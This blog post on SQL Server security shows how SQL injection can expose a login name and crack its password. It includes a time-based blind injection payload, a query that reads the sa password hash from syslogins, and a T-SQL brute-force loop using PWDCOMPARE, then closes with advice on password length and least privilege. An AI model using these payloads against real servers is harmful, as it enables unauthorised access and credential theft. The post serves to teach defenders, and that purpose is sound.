Following up on last week's post about the different types of SQL injection, this week I want to show how injection can be used to obtain a SQL login and its password.
My goal with today's post is to show how easy it is for someone to do this to your server. My hope is that if your security practices aren't currently the best, the least you can do is learn and follow the few simple steps at the end of this post to help protect your server.
Iterating the Login
Let's try to guess the current login by iterating over characters one at a time:
SET NOCOUNT ON; DECLARE @FirstDecimal int = ASCII('!'), @LastDecimal int = ASCII('~'), @CurrentDecimal bigint = ASCII('!'), @SystemUser nvarchar(128) = '', @CurrentPosition int = 1; BEGIN TRY WHILE (1=1) BEGIN IF ASCII(substring(SYSTEM_USER,@CurrentPosition,1))=@CurrentDecimal BEGIN SET @SystemUser = @SystemUser + CHAR(@CurrentDecimal); SET @CurrentPosition = @CurrentPosition + 1; --SELECT 'Letter found: ' + @SystemUser; END IF @CurrentDecimal = @LastDecimal BEGIN SET @CurrentDecimal = @FirstDecimal; END ELSE BEGIN SET @CurrentDecimal = @CurrentDecimal + 1; END IF SYSTEM_USER = @SystemUser BEGIN SELECT @SystemUser AS DiscoveredSystemUser; BREAK; END END END TRY BEGIN CATCH SELECT @SystemUser AS SystemUser, ERROR_NUMBER() AS ErrorNumber, ERROR_MESSAGE() AS ErrorMessage; END CATCH;
The key to this script is line 13 where we use SUBSTRING() to grab the first letter of SYSTEM_USER and check to see if it equals the current letter we are iterating over (if we could perform a union-based attack and return SYSTEM_USER outright, that of course would be easier).
But having the ability to execute a whole script like that to determine the login in milliseconds is a luxury. If you are actually injecting code into a dynamic query, a more realistic looking attack might look like this (using our vulnerable stored procedure from last week's demos):
EXEC dbo.USP_GetUserFullName @Username = N'''; IF UPPER(substring(SYSTEM_USER,1,1))=''S'' WAITFOR DELAY ''00:00:05'';--';
Now if the query takes 5 second to return results, we know we found the correct first letter ("S" in this example). We can repeat this for each subsequent character until we have the whole login. Easy.
Note: A similar process can be performed for SQL Users as well.
Cracking the Password
Passwords are more work to obtain. You could start guessing common passwords (eg. "admin", "ilovesql", "", etc...) and trying to use them to login, but once you deplete the easy-to-guess list, you will have to try something else.
A more systematic method requires you to first obtain the login's password hash:
SELECT CAST([password] AS VARBINARY(MAX)) ,[loginname] FROM [master].[sys].[syslogins]; WHERE loginname='sa'
That first column is SQL Server's hashed version of the login's password. And while we were able to determine the SQL login character by character, we won't be able to do the same for this hashed password.
To "crack the hash", what we have to do is guess a password, hash it, and see if it is equal to the hash we found above. If it doesn't match, we guess another password, hash, check, and repeat until we find the correct password.
The simplest way to do this is to iterate over the entire password space. The very poorly T-SQL code written below does that for 4 character passwords. We basically start with guessing a password "!!!!", checking to see if it's hash matches, and if not then moving on to the next character combintation (ie. !!!#", "!!!\$", "!!!%", etc...):
DECLARE @FirstDecimal int = ASCII('!'), /*33 in decimal*/ @LastDecimal int = ASCII('z'), /*122 in decimal*/ @PasswordFound bit = 0, @Password nvarchar(128) = '', @HashedPassword varbinary(MAX) = 0x0200C2455E03ECA51AE88CE6619644D250CD07650C8D13C6992662B7C7C1D085A9D18B3B9AF6E75D1D9DC1E17ADC23C48BB68927A4C670026039BFE948FB4FF367FBDC08365F DECLARE @DecimalDifference int = @LastDecimal - @FirstDecimal, @Char1 int = @FirstDecimal, @Char2 int = @FirstDecimal, @Char3 int = @FirstDecimal, @Char4 int = @FirstDecimal; BEGIN TRY WHILE (@Char1 <= @LastDecimal AND @PasswordFound = 0) BEGIN WHILE (@Char2 <= @LastDecimal AND @PasswordFound = 0) BEGIN WHILE (@Char3 <= @LastDecimal AND @PasswordFound = 0) BEGIN WHILE (@Char4 <= @LastDecimal AND @PasswordFound = 0) BEGIN SET @Password = CHAR(@Char1) + CHAR(@Char2) + CHAR(@Char3) + CHAR(@Char4) /* for debugging IF @Password = 'admin' COLLATE Latin1_General_CS_AS */ /*make sure we are doing a case sensitive check */ IF PWDCOMPARE(@Password,@HashedPassword) = 1 BEGIN SELECT @Password; SET @PasswordFound = 1; END SET @Char4 = @Char4 + 1; END SET @Char4 = @FirstDecimal; SET @Char3 = @Char3 + 1; END SET @Char4 = @FirstDecimal; SET @Char3 = @FirstDecimal; SET @Char2 = @Char2 + 1; END SET @Char4 = @FirstDecimal; SET @Char3 = @FirstDecimal; SET @Char2 = @FirstDecimal; SET @Char1 = @Char1 + 1; END END TRY BEGIN CATCH SELECT @Password AS Password, ERROR_NUMBER() AS ErrorNumber, ERROR_MESSAGE() AS ErrorMessage; END CATCH;
After about 9 minutes, SQL Server returns my very easy to guess sa password in clear text:
At this point you might be thinking, "9 minutes for a 4 character password! Doesn't that mean it would take years to crack an 8 character, or 12 character password?"
Yes and no. T-SQL is not the right tool for the job here. A better tool would be something that is optimized for hash checking, something like hashcat.
Hashcat performs the same type of looping logic to check an entire address space for a matching hash, but it does so very quickly with lots of optimizations (word lists, prefix/suffix mutations, etc..). It also multithreads the process and can make use of graphics cards to perform computations even faster.
I don't want to turn this into a "step by step how to use hashcat to crack your SQL logins" post, but be aware that doing so is fairly straightforward. Also know that GPU optimized cloud machines are easily available, and running hashcat on them easily gets you into the 470 million hashes/second range.
With some back of the napkin calculations, that means your completely random 8 character password would take at most:
(((((96 character subset) ^ (8 character password)) / (470,000,000))/60- minutes)/24 hours) = ~10658 days
Now that may seem like a long time, but remember, that's one machine doing the processing over the entire character space.
The cloud is easily abused for solving performance problems by spinning up additional hardware. The same tools you have to run your company's cloud workloads are available to criminals as well.
And hardware is always improving. Could new hardware come out in the next couple years that will speed this up even more? Almost certainly.
Finally this is the longest possible time if would take - if your password isn't completely random (uses dictionary words) or the hacker knows something about your password schema (all passwords use only letters and numbers), then it's pretty much game over.
Don't Let This Happen To You
Hopefully you are using at least 8 character, random passwords with a full subset of upper and lowercase letters, numbers, and symbols. That should be the minimum you should be doing today, knowing full well that this is already probably inadequate, if not today then in the very near future.
If you aren't using long passwords, then stop reading right now and go figure out how to change this right away. SQL Server allows you to use passwords up to 128 characters long - make use of all of those characters!
In addition to using long, random passwords, follow the best practices mentioned in last week's post as well: use the principle of least privilege to restrict as much access to your logins as possible, and prevent SQL injection from allowing important information from leaving your server in the first place.